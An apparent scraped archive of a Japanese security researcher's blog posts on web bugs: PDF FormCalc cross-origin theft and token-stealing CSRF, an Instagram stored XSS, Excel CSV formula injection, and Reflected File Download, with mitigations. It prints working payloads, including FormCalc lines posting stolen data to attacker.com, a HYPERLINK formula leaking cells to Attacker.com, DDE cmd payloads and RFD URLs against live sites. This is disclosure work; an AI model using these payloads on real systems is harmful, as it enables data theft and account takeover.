前回に続きPDFの特殊機能を説明します！今回はFormCalcというスクリプト言語の説明です。
PDFを使ってフォームが作れるのはご存知かと思いますが、このフォームを作る為にPDFのバージョン1.2からAcroformsが追加され、バージョン1.5からXFA(XML Forms Architecture)が追加されました。フォームでの動的な処理の為、XFAではFormCalcという演算言語が標準言語として使われています。簡単に言うとHTMLで<script>と書いた場合Javascriptとして実行されますが、XFAで<script>と書いた場合FormCalcで実行されるということです。
FormCalcの最新版(?)参考資料は以下です。
http://help.adobe.com/ja_JP/livecycle/9.0/FormCalc.pdf
ちなみに、ブラウザに搭載されているPDF ViewerなどはFormCalcをサポートしていない為、FormCalcが使えるのはAcrobat Readerを使ってPDFを閲覧しようとした場合（標準設定ではIEのみ）になります。
さて、2014年にCure53のAlexander氏によりFormCalcのURL関数を使ったクロスオリジンのデータが取得可能であった脆弱性が修正されたことが公開さ れ、その中で同一オリジンへのデータ取得はバグではない為修正がされない ことも言及されました。
http://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html
http://insert-script.blogspot.com/2015/05/pdf-mess-with-web.html
FormCalc参考資料によるとFormCalcのURL関数には3つの種類があります。Get、Post、Putです。その名の通りPDFと同一のオリジンにGet、Post、Putのリクエストをすることができます。
Getの例
Get("https://SameOrigin.withPDF.com/")
Postの例
Post("https://SameOrigin.withPDF.com/","contents here","application/json","utf-8","Custom: header-here")
Putの例
Put("https://SameOrigin.withPDF.com/", "contents here","utf-8")
参考資料に詳しい説明が載っていますが、パラメータが一番多いPostの説明をすると以下の様になります。
Param 1: ポストするサイトのURL
Param 2: ポストするコンテンツ（Request body）
Param 3: 有効な任意のMIMEタイプ
Param 4: 有効な 任意の文字エンコード
Param 5: 任意のヘッダー（Request header）
3、4、5はオプションです。Alexander氏のスライドを見ると分かるよう、昔はユーザエージェント以外の任意のヘッダーが遅れたようですが、今ではクッキーやホストヘッダーなどが送れなくなっています。しかしサイト独自のヘッダーなどは今でも送れます。
説明が長くなってしまいましたが、Alexander氏の発表から、サイトにPDFファイルをアップロード出来る機能があり、PDFが保存されるオリジンに機密情報がある場合、以下の様にその情報を抜き出すことが出 来ます。
var content = GET("https://SameOrigin.withPDF.com/user_info.php");
Post("http://attacker.com",content);
PoC
https://shhnjk.com/post.pdf（IEでアクセスして下さい）
ブラウザでPDFを開いただけでクロスオリジンに情報が漏洩するという素晴らしい機能です（笑）上記のPoCではhttps://shhnjk.com/xss.txtにGetでアクセスし、そのレスポンスをPostを使って攻撃者のサイトに送っています。クロスオリジンのサイトにPostする場合、普通はエラーになってしまいますが、以下の様なcrossdomain.xmlを設定すればエラーなくPostを受け取れます（一番脆弱なcrossdomain.xmlなので普通のサイトでは設定しないで下さい）。
http://szabist.web.fc2.com/crossdomain.xml
翌年2015年にSoroush氏によりFormCalcとJavascriptを使って、埋め込まれたPDFからGetした情報を別オリジンと共有する手法が公開されました。
https://github.com/nccgroup/CrossSiteContentHijacking
この手法の素晴らしいところは以下のPDF自体に修正を加える必要ない点です。
https://15.rs/ContentHijacking/objects/ContentHijacking.pdf
以下のPoCサイトにPDFのURLと読み取りたい同一オリジンのページを指定してあげるだけでいいのです。
https://15.rs/ContentHijacking/ContentHijackingLoader.html?objfile=https://shhnjk.com/ContentHijacking.pdf&objtype=pdf&target=https://shhnjk.com/xss.txt&isauto=1
IEで開くとhttps://shhnjk.com/xss.txtのコンテンツである<script>alert(document.domain)</script>が表示されるかと思います。さて、読み込むPDFにX-Frame-Optionsが指定されてたら攻撃者のサイトに埋め込んでもダメじゃんと思った方もいるのではないでしょうか。ご心配なく！objectやembedタグ内にtype="application/pdf"と記載することでPDFがホストされているサイトのX-Frame-OptionsやContent-Dispositionは無視されます（笑）
まだまだ続きます。更に翌年2016年にKrzysztof氏とG´abor氏により、各ブラウザでAcrobat Readerを使いPDFを表示する設定にされている場合の脅威に関する研究結果が発表されました。
https://www.alchemistowl.org/pocorgtfo/pocorgtfo12.pdf（Content Sniffing with Comma Chameleon）
上記のPDFはPolyglotで拡張子をZipに変えるとPoCファイルが出てきます（APKファイルにもなるらしい）。素晴らしいペーパーなので是非読んで頂きたいですが、要約したまとめが以下です。
IE: 分かっている通り標準設定でAcrobat Readerが使われ、FormCalcも使える。
Chromium: Acrobat ReaderなどのNPAPIをサポートしていない為、攻撃不可能。
Firefox: Acrobat Readerを使う設定にするとFormCalcは使えるが、使う度に有効にするというボタンを押さなければいけない為、現実的ではない。
Safari: Acrobat Readerを使う設定にするとAcrobat Readerが確認なしで使えてFormCalcも使える。
更にIEとSafariにMIMEタイプがapplication/pdfでないPDFをtype="application/pdf"として埋め込んだところ、SafariはそれでもFormCalcが使えて、IEは使えなかったとのことです。IEでFormCalcが使えかった理由はMIMEタイプが正しくない場合、そのPDFをFileオリジンでロードする為、どんなサイトのPDFでもクロスオリジンとみなされるからです（前編で紹介したやつです）。
この研究では更に、FormCalcのコードをクロスオリジンから送れる最小限のPDFを作成しています。
%PDF-Q 1 0 obj<</Length 1>>stream
<xdp xmlns="http://ns.adobe.com/xdp/"><config><present><pdf><interactive>1</interactive></pdf></present ></config><template><subform name="s"><pageSet/><event activity="exit"><script>r=Eval(P)</script></event></subform></template></xdp> endstream endobj xref 0 2 0000000000 65535 f 0000000007 00000 n trailer<</Root<</AcroForm<</XFA 1 0 R>>/Pages<<>>/OpenAction<</S/JavaScript/JS(hostContainer.messageHandler={onDisclose:Date,onMessag e:function(a){eval(a[0])}})>>>>>> startxref 286 %%EOF
これにより、JSONやCSVファイルなどに上記コードを入れられた場合、そのファイルをPDFとして埋め込むことでPDFがアップロード出来ないサイトにも影響が及ぶようになります。
ここまでがPDFWebSecの軽いまとめです（笑）ここまで読んで頂いた方はあと少しですので頑張って下さいｗ
さて僕がまず考えたことは、SafariでAcrobat Readerを使う設定にしていない場合でも攻撃できないかという所です。ここで目を付けたのがFDFです。SafariではPDFやFDFのオン/オフ設定が一緒な為、前回説明した通りFDFを許可したサイトではPDFもAcrobat Readerで表示されるようになります。そこに前回紹介したiframeを使って信頼されているドメインから許可を貰えばOK。なはずだった…
Comma Chameleonが発表された後、SafariはPDF関連の機能をよりセキュアしました。まずプラグインの設定からAdobe Readerがオンになってない場合（標準設定では確認）はクリックしないとAcrobat Readerが有効化されないようになりました。こちらはstyle="visibility:hidden;"で以前の確認アラートに戻せることも紹介しました。しかし更に、SafariでFormCalcのURL関数を使ってもクッキーを送ってくれなくなりました（泣）再現の為に以下のページを用意しました。
https://shhnjk.com/CookieOrKitKat.php
こちらはクッキーを持っていればクッキー、持っていなければキットカットと返してくれるページです。クッキーを設定するには以下のページでボタンを押します。
https://shhnjk.com/Cookie.php
ボタンをしてから最初のページに行くとクッキーが帰ってくれば OK。SafariでAdobe Readerをオンにした状態で以下を開きます。
https://shhnjk.com/calc.pdf
こちらはCookieOrKitKat.phpのコンテンツにFormCalcでアクセスし結果をアラートしてくれるPDFです。Safariではクッキーを設定してもPDFを開くとキットカットが返ってくると思います。しかしIEで試すとちゃんとクッキーが返ってきます。その為、SafariでFormCalcを使おうとしても、出来ることはお問い合わせのCSRFバイパスぐらいでしょう。
ではMIMEタイプが正しくないPDFの攻撃は完全に死んだのでしょうか。標準設定では現時点で攻撃する方法はないでしょう。しかし、PDFをAcrobatで表示する設定にしている場合、まだ１つだけ方法があります。Firefoxです。FirefoxでもAcrobat Readerを有効化するにはクリックが必要ですが、こちらもSafari同様style="visibility:hidden;"で有効にしますかのアラートに変わり、iframeを使って別のオリジンの信頼で有効化することが出来ます。
PoC
http://shhnjktest.blogspot.com/2016/10/calc-embed-test.html
Windows版のFirefoxでPDFをAcrobatプラグインで開く設定にした状態でアクセスしてみて下さい。calc.txtを埋め込んでいますが、無事PDFとして読み込み更に攻撃者サイトのオリジンではなく、トップドキュメントのオリジンで許可が聞かれていると思います。Cookie.phpからクッキーを設定するとクッキーというレスポンスが返ってくるかと思います。実際のサイトのiframe内でどのように任意のコンテンツを表示するかですが、まずは前回言ったように広告が使えます。広告を表示しているサイトはiframeサンドボックスを使うと拡張やプラグインが実行されないので良いでしょう。広告がないサイトの場合はリンク作成機能などを見ましょう。リンクのターゲットが任意に指定できる場合はこれが使えます。
PoC
https://shhnjktest.blogspot.com/2015/11/test.html
これは以前紹介したBloggerがコメント投稿にiframeを使っていることを利用し、リンクでコメント投稿のiframeをターゲットにしています。ちなみに、リンクと同一オリジンであればどんなページのiframeでもターゲットに出来ます。
ここで残念なお知らせがあります。Firefoxは2017年の3月からNPAPIをサポートしなくなります。その為、Acrobat ReaderがFirefoxで使えなくなり、今回の攻撃が出来なくなるでしょう。やはりMIMEタイプが正しくないPDFの攻撃は死にゆくのでしょうか。いや、まだ希望があります。IEでMIMEタイプが正しくないPDFの攻撃が出来ないのは、そのPDFをFileオリジンからロードする為です。しかし、リモートのPDFがFileオリジンでロードされることによる脆弱性をIEに報告済みで、2017年のバレンタインデーに修正がリリースされる予定です。ここで間違った修正がリリースされた場合、IEでこの攻撃が可能になってきます。果たしてMSがチョコを渡すのはユーザか、それとも攻撃者か。楽しみですね！
それでh、、、、ちょっと待った。
なんかモヤモヤしませんか？攻撃者は情報をクロスオリジンに送ることだけが目的なのか。いや、我々は改ざんしたい！（笑）
クロスオリジンに情報を送り、その情報からCSRFトークンを抜き出し、攻撃者サイトのフォームに入れて、そこにリダイレクトすればいいのかもしれませんが、面倒くさいし、攻撃者のサイトにリダイレクトしたら攻撃がバレてしまう。
少し初心に戻ってみます。2014年に公開された攻撃の時点で、
var content = GET("https://SameOrigin.withPDF.com/user_info.php");
//content←ここにCSRFトークンも入ってるはず。
Post("http://attacker.com",content);
つまりレスポンスの情報からPDF内でCSRFトークンを抜き出せれば、同一オリジンからそのCSRFトークンを使って攻撃できるということです。FormCalcには色んな関数があるので、その中の文字列関数を使ってみます。
以下にコメントページがあります。
https://shhnjk.com/add_comment.php
クッキーがないと見れないので、先ほどのCookie.phpに行きクッキーを貰います。コメントページにはCSRFトークンがあり（今回はabcdで固定）、投稿されたコメントはcomments.phpに反映されます。このコメント動作をPDFだけを使ってやってみます。
PoC
https://shhnjk.com/CSRF.pdf
以下がスクリプトです。
var content = Get("https://shhnjk.com/add_comment.php");
var csrf = Substr(content, At(content,"token")+13, 4);
var data = Stuff("token=&comment=hacked", 7, 0, csrf);
Post("https://shhnjk.com/comment.php",data,"application/x-www-form-urlencoded","utf-8");
まずGetしたレスポンスからSubstr関数を使ってCSRFトークン（abcd）を抜きます。抜き出す為のトークンスタート位置はAt関数を使って、tokenというキーワードの位置＋13（今回の場合のtokenからCSRFトークンのスタート位置までの文字数）で割り出しています。トークンをゲットしたら、Stuff関数で事前に作っておいたリクエストの中にトークンを入れる。その後Postを使ってコメントを送れば終了。PDFを見たユーザの権限でコメントするPoCです。サイトによってはリクエストボディではなくリクエストヘッダー内にCSRFトークンを入れるようなサイトもあるみたいですが、CSRFトークンがレスポンスボディ内にあれば、任意のヘッダーが指定できるため、そのようなサイトでも影響を受けます。
一番最初のPoC及び今回のPoCはPDFのみを使った攻撃なので、信頼されたオリジンから攻撃ができ、攻撃者のサイトに誘導する必要はありません。しかしContent-Dispositionヘッダーがあった場合はダウンロードされてしまう為、攻撃者のサイトに埋め込む必要があります。もう一つの特徴は、PDFを埋め込む攻撃がブラウザのバグ（X-Frame-Optionsをチェックしない）を利用しているのに対し、PDFのみの攻撃はPDFの機能のみを使っています。その為ブラウザ側で正しいチェックが行われてもPDFの攻撃は無くならないでしょう。
対策
ユーザがアップロードしたPDFを重要なオリジンに保存しない。オープンリダイレクトを完全に防ぎたい場合はサンドボックスドメインに保存したPDFにContent-Dispositionをつけて、pdf.jsでPDFのプレビューを表示する。CSVの対策としてはユーザが入力した値の中の改行を消す。JSONやJSONPは仕様に従っていれば、基本影響を受けません。対策の前にComma Chameleonを読むことを強く推奨します。
ではでは。
2016年10月29日土曜日
2016年9月22日木曜日
PDF特殊機能（リダイレクト編）
今回は今年一番ハマったPDFについて書きます。
先ずは軽い構造の説明から！
上記はJavaScriptが実行できる最小限のPDFの例です。
上記の例では、ル ートオブジェクト(1 0 obj)内にPDFのページおよびPDFを開いた際に実行するアクション(/OpenAction)としてオブジェクト20を指定しています。オブジェクト20ではJavaScriptで ”Hello World!”というアラートを出すコードが記載されています。その為、上記のPDFを開いた場合、”Hello World!”というポップアップが表示されます。
PoC
PDFのJavaScriptはブラウザによってサポートが異なる為、デフォルトの状態でJavaScriptを実行できるのはIE(Acrobat Readerが入っている場合)とChromeです。
また、PDFのJavaScriptでアラートが出せるからといって、サイトにXSSがあるというわけではありません。PDFについてもっと詳しく知りたい方はPDFリファレンスをご覧下さい。
さて、構造の説明にJavaScriptをアクションタイプと書きましたが、アクションタイプとはPDFに搭載されている機能のようなもので、JavaScriptはその中の１つです。以下がPDFリファレンスに記載されているアクションタイプ一覧です。
この中でURIというアクションタイプはリダイレクト出来そうだったので調べてみました。そもそもJavaScript自体に沢山の関数があり、app.launchURL()を使うとオープンリダイレクトやポップアップブロッカーパイパスが出来るのですが、これはAcrobat Readerを使っているブラウザのみ可能です。しかしURIアクションタイプを使うとChromeのPDF Viewerでもリダイレクトが可能です。
PoC
さて、PDFと同系統のドキュメントでFDFとXFDFというファイルがあるのはご存知でしょうか。こちらでもリダイレクトが出来ます(Acrobat Readerを使っているブラウザのみ)。
PoC
このFDFを使ったSafariの面倒くさいリダイレクトを紹介します。
そもそもSafariはPDFを表示する際、Previewというソフトを使う為リダイレクトが出来ません。しかしAcrobatが入っている場合、FDFを埋め込むことでAcrobatを呼び出すことが出来ます。
PoC
しかしご覧の通り、「Acrobat Readerを使用するにはここをクリック」というボタンが表示され、それを押さない限りAcrobatでは開きません。しかしこれをもう少し誘導させやすくする方法があります。それは「style="visibility:hidden;"」をiframeに追加する方法です。
今度は「“shhnjk.com”を信頼して、“Adobe Reader”プラグインを使用しますか？」が出てきます。これは「style="visibility:hidden;"」によりクリックジャッキングを使ってAcrobatを有効にさせない為の手段です。ここまでだとまだまだ攻撃者のドメインなので、ユーザの信頼は勝ち取れません。そこでこれを更に埋め込みます。
今度は"https://shhnjk.com/script.fdf"を表示しようとしているにも関わらず、“shhnjktest.blogspot.ae”を信頼するかとの質問に変わってきます。つまり信頼あるサイトの広告内からでもAcrobatを呼び出すことが出来ます。今回はリダイレクトをするだけですが、これでユーザがサイトを信頼した場合、以後信頼されたサイト上ではPDFもFDFもAcrobatで読み込まれることになり、Acrobatの機能や脆弱性を突く攻撃が可能となります。
最後にPDFを使った面白いXSSを紹介します。
まず、IEではFileオリジンからHTTPのサイトにリダイレクトした際、サイト内のHTMLではないコンテンツをHEADタグ内に入れてしまうバグがあります。もちろんこれだけではFileオリジンからリダイレクトをするのが難しいため問題にならないのですが、IEはPDFがapplication/pdfでないContent typeで配布された場合、そのPDFをFileオリジンで表示するというバグがあります。その為条件が揃うとXSSが発生します(Windows 7で再現確認)。
PoC
※絶対に既存のブラウザをIEに設定してからアクセスして下さい
このバグはMSから修正なしとの回答がきました。理由は既存ブラウザがIEでなければならないこと、サイトがHTTPでホストされていること、Scriptタグが入ったドキュメントを表示出来ること、再現しないことがあることなど、再現条件が揃う可能性が低いからとのことです。
というわけで、PDFの概要と大して面白くない機能の説明でしたが、後編はまぁまぁ面白いと思うのでご期待下さい。
ではでは。
2016年9月1日木曜日
すっぴーさんからの贈り物（Instagram Stored XSS）
お久しぶりです。
皆様いかがお過ごしでしょうか。私はご覧の通りサボっていましたw
さて、今回は先日見つけたInstagramにあったXSSの話をします。何人か報告した人がいたらしく、多分Duplicateかもしれませんが面白かったので書きます。
ある日1件のツイートが目に止まりました。
すっぴーさんの飼い主の方が悪意ある名前("><script>alert(0)</script>)を設定していて、なんとInstagramがそれを正しくエスケープしていなかった為、 名前の最後にある</script>でscriptタグが閉じられてしまっている状態でした。
海外サービスはスピード勝負なので、Instagramをやっていなかったのですが、とにかくFacebookでログインし、何が出来るかトライしてみました。
まず名前には30文字までの文字数制限があることが分かりました。とりあえず一番簡単そうなもので試そうと思い以下の名前を設定。
</script><img/src='//te.st/?
するとこんな感じになりました。
攻撃者のアカウントや写真のページにアクセスしたユーザのユーザ名やCSRFトークンを盗むことに成功しました！ってのはいいんですが、名前を設定したと同時に攻撃者もプロファイルにアクセス出来なくなるw
とりあえずFacebookに報告。
さて、次はもちろんXSSを目指します。先ほどのアカウントはどうにもならなので、別アカウントを作成。30文字におさまる方法を考えた結果以下でチャレンジ。
</script><script>alert(1)//
無事アラート出来ました！
報告してから2日後に修正されました。
修正後に、実際に攻撃したかった場合どうすればよかったかを考えました。実際の攻撃はもう少し長いスクリプトが必要なはずですし、果たして30文字で攻撃できるのかと。少し考えた結果、以下で可能でした。
</script><script/src=//⑭.₨>
これなら攻撃サイトのスクリプトを使用できる為、いくらでも長いスクリプトが書けます。更に今回のようにスクリプトタグ内に断片的なデータが入ってる場合でもスラッシュでコメントアウトする必要はありません。
PoC
https://jsfiddle.net/ykke16ht/
⑭.₨を使っている理由は、14.rsの5文字を3文字で表現するためです。バイト的には5バイトから7バイトと増えてしまう為、XSSチャレンジなどでは使われませんが、こういう時は役に立ちます。詳しい情報はこちら。
無事修正されたので、すっぴーさんを見に行ったところ...
</script><svg/onload=alert(1)>
バッチリ攻撃仕掛けてましたw
追記
Facebookから$3500の報奨金を頂きました！
ではでは。
皆様いかがお過ごしでしょうか。私はご覧の通りサボっていましたw
さて、今回は先日見つけたInstagramにあったXSSの話をします。何人か報告した人がいたらしく、多分Duplicateかもしれませんが面白かったので書きます。
ある日1件のツイートが目に止まりました。
今回の主人公すっぴーさんであります。すっぴーさんに興味があったので、見ようと思いリンクをクリックしましたが、真っ白な画面が開きました。おかしいと思い調べたところ面白い状態になっていました。8月なのに寒くなってきました #すっぴーさん https://t.co/VQaRsSqTsc— yousukezan (@yousukezan) 2016年8月28日
海外サービスはスピード勝負なので、Instagramをやっていなかったのですが、とにかくFacebookでログインし、何が出来るかトライしてみました。
まず名前には30文字までの文字数制限があることが分かりました。とりあえず一番簡単そうなもので試そうと思い以下の名前を設定。
</script><img/src='//te.st/?
するとこんな感じになりました。
攻撃者のアカウントや写真のページにアクセスしたユーザのユーザ名やCSRFトークンを盗むことに成功しました！ってのはいいんですが、名前を設定したと同時に攻撃者もプロファイルにアクセス出来なくなるw
とりあえずFacebookに報告。
さて、次はもちろんXSSを目指します。先ほどのアカウントはどうにもならなので、別アカウントを作成。30文字におさまる方法を考えた結果以下でチャレンジ。
</script><script>alert(1)//
無事アラート出来ました！
報告してから2日後に修正されました。
修正後に、実際に攻撃したかった場合どうすればよかったかを考えました。実際の攻撃はもう少し長いスクリプトが必要なはずですし、果たして30文字で攻撃できるのかと。少し考えた結果、以下で可能でした。
</script><script/src=//⑭.₨>
これなら攻撃サイトのスクリプトを使用できる為、いくらでも長いスクリプトが書けます。更に今回のようにスクリプトタグ内に断片的なデータが入ってる場合でもスラッシュでコメントアウトする必要はありません。
PoC
https://jsfiddle.net/ykke16ht/
⑭.₨を使っている理由は、14.rsの5文字を3文字で表現するためです。バイト的には5バイトから7バイトと増えてしまう為、XSSチャレンジなどでは使われませんが、こういう時は役に立ちます。詳しい情報はこちら。
無事修正されたので、すっぴーさんを見に行ったところ...
</script><svg/onload=alert(1)>
バッチリ攻撃仕掛けてましたw
追記
Facebookから$3500の報奨金を頂きました！
ではでは。
2016年3月30日水曜日
CEMIについて
さて、今日はCSV Excel Macro Injectionという脆弱性のお話です。
参考
http://www.contextis.com/resources/blog/comma-separated-vulnerabilities/
今回はMicrosoft Excelにしぼって説明します。
CEMIはウェブサイトで良く見かける、CSVへの書き出し機能を狙った脆弱性です。皆様ご存知の通り、Excelには関数があり、CSVに書き出す際ユーザ入力が正しくエスケープされていない場合、関数をインジェクトすることにより任意のコード実行などができます。
コード実行にはDynamic Data Exchangeを使います。具体的なコードは以下です。
更に任意のコード実行まではいかないものの、警告が出ない手法もあります。
ここまで見る限り、「=」さえエスケープしていれば攻撃は防げそうな気がしますが、危ない記号がまだあります。
https://hackerone.com/reports/72785
https://hackerone.com/reports/111192
CEMIの脆弱性はCybozu.comおよびCybozulive.comに存在していて、報告したところ、特に「-」から始まる入力が頻出する為、 製品の仕様上「-」で始められなくなることが許容出来ないとの回答で脆弱性と認められませんでした。Cybozuユーザの皆様はCSVへ書き出す機能を使う場合はお気をつけ下さい。
実際に脆弱性を試してみたい方は、Cybozuliveにいき、グループの掲示板にあるアンケート機能を使って回答候補に関数を入れて、アンケート結果をCSVに書き出してみて下さい。
対策
HackerOneでは先頭に危険な記号が入る場合、「'」を入れる事でエスケープして関数の実行を防ぐ対策を取っていました。
最近翻訳ブログになってきましたね～ｗ
ではでは。
参考
http://www.contextis.com/resources/blog/comma-separated-vulnerabilities/
今回はMicrosoft Excelにしぼって説明します。
CEMIはウェブサイトで良く見かける、CSVへの書き出し機能を狙った脆弱性です。皆様ご存知の通り、Excelには関数があり、CSVに書き出す際ユーザ入力が正しくエスケープされていない場合、関数をインジェクトすることにより任意のコード実行などができます。
コード実行にはDynamic Data Exchangeを使います。具体的なコードは以下です。
=cmd|' /C calc'!A0上記コードの入ったCSVを開く事により電卓が起動します。しかし電卓が起動される前に警告が出ます。参考記事では警告に「ソースを信頼しない限り」クリックしてはいけないとの記述がある為、ユーザがウェブサイトを信頼している場合警告を無視する可能性があると述べられています。また、CEMIはユーザが自らCSVへ書き出し実行しても発火する受動的攻撃である為、警告が無視される可能性を高めると思われます。
更に任意のコード実行まではいかないものの、警告が出ない手法もあります。
=HYPERLINK("http://Attacker.com/?leak="&A1&A2, "Error: please click for further information")上記の関数をインジェクトすることで、セルがクリックされた際任意のサイトにアクセスさせることができます。更にセルを指定することで、任意のセル情報を取得することができます。上記の例では、セルがクリックされるとAttacker.comにセルA1とセルA2の情報が漏洩されます。
ここまで見る限り、「=」さえエスケープしていれば攻撃は防げそうな気がしますが、危ない記号がまだあります。
https://hackerone.com/reports/72785
+cmd|' /C calc'!A0
-cmd|' /C calc'!A0「+」と「-」が先頭にあってもコード実行が可能です。これだけでしょうか？
https://hackerone.com/reports/111192
[%0A]-cmd|' /C calc'!A0改行コードを先頭に入れることによりコード実行が可能です。ちなみに、スペースを入れられないような場合でも以下でコード実行が可能です。
=cmd|'/C;calc'!A0
CEMIの脆弱性はCybozu.comおよびCybozulive.comに存在していて、報告したところ、特に「-」から始まる入力が頻出する為、 製品の仕様上「-」で始められなくなることが許容出来ないとの回答で脆弱性と認められませんでした。Cybozuユーザの皆様はCSVへ書き出す機能を使う場合はお気をつけ下さい。
実際に脆弱性を試してみたい方は、Cybozuliveにいき、グループの掲示板にあるアンケート機能を使って回答候補に関数を入れて、アンケート結果をCSVに書き出してみて下さい。
対策
HackerOneでは先頭に危険な記号が入る場合、「'」を入れる事でエスケープして関数の実行を防ぐ対策を取っていました。
最近翻訳ブログになってきましたね～ｗ
ではでは。
2016年2月10日水曜日
Cybozu Liveの脆弱性ではない話
今回は、サイボウズさんに報告するも、ユーザーを誘導して複数回の操作をさせる必要がある為に脆弱性と認められなかった挙動を紹介したいと思います。
その挙動は以下です。
http://www.slideshare.net/masatokinugawa/ss-51723687#43
ずばり、https://cybozulive.com/common/transactionTokenJsonDirectにアクセスするとCSRFトークンがダウンロードできるというものです。さて、普通はこのトークンをどうスクリプトで取得するかを考えるわけですが、そんなの面倒臭いのでこの挙動をそのまま使います。
PoC
http://shhnjk.host56.com/token.html
今回はIDEA BOXにHackedというアイディアを載せるPoCなので、PoCを確認したい人でIDEA BOXのニックネームを持ってない人は以下で作っておきましょう。
https://cybozulive.com/ideabox/nicknameAdd
PoCの解説ですが本当に単純で、File APIを使ってアップロードされたファイルからトークンを抜き出し、フォームの中にトークンを入れてPOSTしているだけです。しかし、普通にPOSTするとCybozu Liveに飛んでしまい、ハックがバレてしまうので、同じページ上にあるiframeをTargetにしてPOSTしてます。
この挙動を使うとCybozu Liveアカウントを乗っ取ることも可能ですが、今回は割愛します。
という訳で、誘導の類が加わると脆弱性とは認めて貰えませんよという話でした～。（短ッ！）
ではでは。
その挙動は以下です。
http://www.slideshare.net/masatokinugawa/ss-51723687#43
ずばり、https://cybozulive.com/common/transactionTokenJsonDirectにアクセスするとCSRFトークンがダウンロードできるというものです。さて、普通はこのトークンをどうスクリプトで取得するかを考えるわけですが、そんなの面倒臭いのでこの挙動をそのまま使います。
PoC
http://shhnjk.host56.com/token.html
今回はIDEA BOXにHackedというアイディアを載せるPoCなので、PoCを確認したい人でIDEA BOXのニックネームを持ってない人は以下で作っておきましょう。
https://cybozulive.com/ideabox/nicknameAdd
PoCの解説ですが本当に単純で、File APIを使ってアップロードされたファイルからトークンを抜き出し、フォームの中にトークンを入れてPOSTしているだけです。しかし、普通にPOSTするとCybozu Liveに飛んでしまい、ハックがバレてしまうので、同じページ上にあるiframeをTargetにしてPOSTしてます。
この挙動を使うとCybozu Liveアカウントを乗っ取ることも可能ですが、今回は割愛します。
という訳で、誘導の類が加わると脆弱性とは認めて貰えませんよという話でした～。（短ッ！）
ではでは。
2015年12月21日月曜日
RFD 2015
この記事は「脆弱性"&'<<>\ Advent Calendar 2015」21日目の記事です。
CSP 2015がかっこよ過ぎたのでパクりましたｗ
Reflected File Download（以後RFD）はBlack Hat Europe 2014で発表された比較的新しい脆弱性です。今年になりRFD Cheat Sheetなる記事も書かれました。実は僕も今年の後半はRFDばかり見ていました。
概要
RFDはその名の通り3つの要素がからなります。
1. Reflected
ユーザーの入力した値がレスポンスに反映される。
2. File
URLに任意の文字列を追加でき、尚且つ正常にロードされる。
3. Download
ダウンロードが可能であり、上記2つの要素がダウンロードしたファイルに反映される。
例
ユーザーが検索バーに文字を入れた際に、JSONを使い動的に候補を表示するサイトがあるとします。
リクエスト
https://www.example.com/search?q=user_input
レスポンス
{"q":"user_input","result":"Not Found"}
ここに以下の様なリクエストを送ります。
リクエスト
https://www.example.com/search/setup.bat?q="||calc||
レスポンス
{"q":"\"||calc||","result":"Not Found"}
サーバーがリクエストに対して正常にレスポンスを返す場合、RFDに脆弱になります。JSONのレスポンスにContent-DispositionヘッダーのAttachmentが指定されている場合、上記リクエストのリンクをクリックするとsetup.batファイルがダウンロードされます。もちろんsetup.batファイルにはレスポンスが入っている訳ですが、Windowsコマンドで「||」は前のコマンドが失敗したら次を実行するという意味なので、以下のように解釈されます。
「{"q":"\"」失敗したら次を実行
「calc」失敗したら次を実行
「","result":"Not Found"}」
1行目は正しいコマンドではない為失敗し、「calc」が実行され、電卓が起動します。バイナリは苦手だけど、1度でいいから脆弱性を使って電卓起動してみたい！という方には最高の脆弱性ですねｗもちろん拡張子はbat以外にも変えられるので、拡張子の数だけ手法があります。
戦歴
以下のサイトで実際にRFDを見つけました。
Downloadの意味は、RFDリンクにダウンロード属性が必要という意味です。つまりChromeもしくはOperaでのみ動きます（Safariは試してないので分かりません）。またJSはJSONやJSONPも含めています。上記以外にも多々報告していますが、今日は控えます。
さて、報奨金を貰えなかったところは修正されていないので、実際の例を見ていきましょう。
Google
こちらでIDがそのままエラーメッセージに反映されているので、ダウンロード属性を付けてあげるとbatファイルがダウンロードされて、それを実行すると電卓が起動します。
PoC
https://clients6.google.com/rpc/plusi/setup.bat?method=plusi.x&id=%22||calc||
実はエラーの場合、普通はRFDができません。例えばこちらのように、HTTPステータスコードがエラーコードの場合、ダウンロード属性を付けてもファイルが正しく保存されません。
PoC
http://cybozushiki.cybozu.co.jp/mt/mt-data-api.cgi/v1/sites/1/entries.bat?status=Publish&offset=%22||calc||
Googleの場合、エラーの際もHTTPステータスコードが200(OK)だった為、RFDが可能でした。当たり前ですが、エラーの場合はエラーコードを返すようにしましょう。
Line
RFDはJSONに依存する問題ではありません。ユーザーの入力が反映されるファイルの拡張子が変更でき、尚且つダウンロードできればいいのです。どんなサイトにもユーザーアイコンがある為、画像に注目しました。
Lineもこちらのようにユーザー画像の拡張子が変更できました。また、Lineはアップロードされた画像のソースにあるコメントをそのまま反映させている為、画像のソースに任意のコードを埋め込むことができました。しかし脆弱性報奨金制度がスマホ用だったため、HTMLとしてダウンロードさせて、ログイン情報を入力させるようなフィッシングの類で報告しました。もちろんHTMLを開いた時点でJSは動くので、SDカード情報は盗めるんだと思います。Androidの場合Operaで動きます。
PoC
http://dl.profile.line.naver.jp/0m038b3eeb7251266324a516ce98d0e1a0af8c48ec8dc3.html
実際にLineに報告したリンクはこちら。パスワードは"Line"です。
RFDで報告したにも関わらず、拡張子を変えてもcontent-typeが正しく指定されている為スクリプトが実行されないので、古いブラウザやプラットフォームに起因する脆弱性となりました(WTF)。また危険なファイルを実行する場合は、ブラウザやOSから警告が出るから大丈夫とのことでした。content-typeの話は論外で、サイトの脆弱性をブラウザとOSの警告に委ねるのはおかしいのでは？との返信を出したものの放置プレイｗいや～こんな所で愚痴ってすみませんｗ次行きます。
Ubiquiti Networks
さてLineの場合はHTMLでしたが、Windowsが標的で画像を使ったRFDがある場合はhtaが使えます。というのも、画像にコマンドを埋め込んでも、画像ソースの改行などでうまくいかないためです。
PoC
http://community.ubnt.com/t5/image/serverpage/image-id/65455i01F8F8FB138903DD/setup.hta
（htaファイルを実行するとChromeが強制終了され、脆弱なChromeが立ち上がります。アラートを確認したら、脆弱なChromeは閉じて下さい）
画像内に以下のスクリプトが埋め込まれています。
Ubiquiti Networksの見解としては「別に細工した画像ファイルをうちのサーバーに上げなくても、攻撃者のサーバーにある実行ファイルをリンクすればいいじゃん」とのことでした。もう愚痴りませんｗ
さて、折角なのでダウンロード属性なしのものも紹介します。こちらにアップロードされているhta.pngのダウンロードリンクをコピーしnameパラメータをhta.pngからhta.htaに変えてリンクにアクセスして見てください。以下の様な感じ。
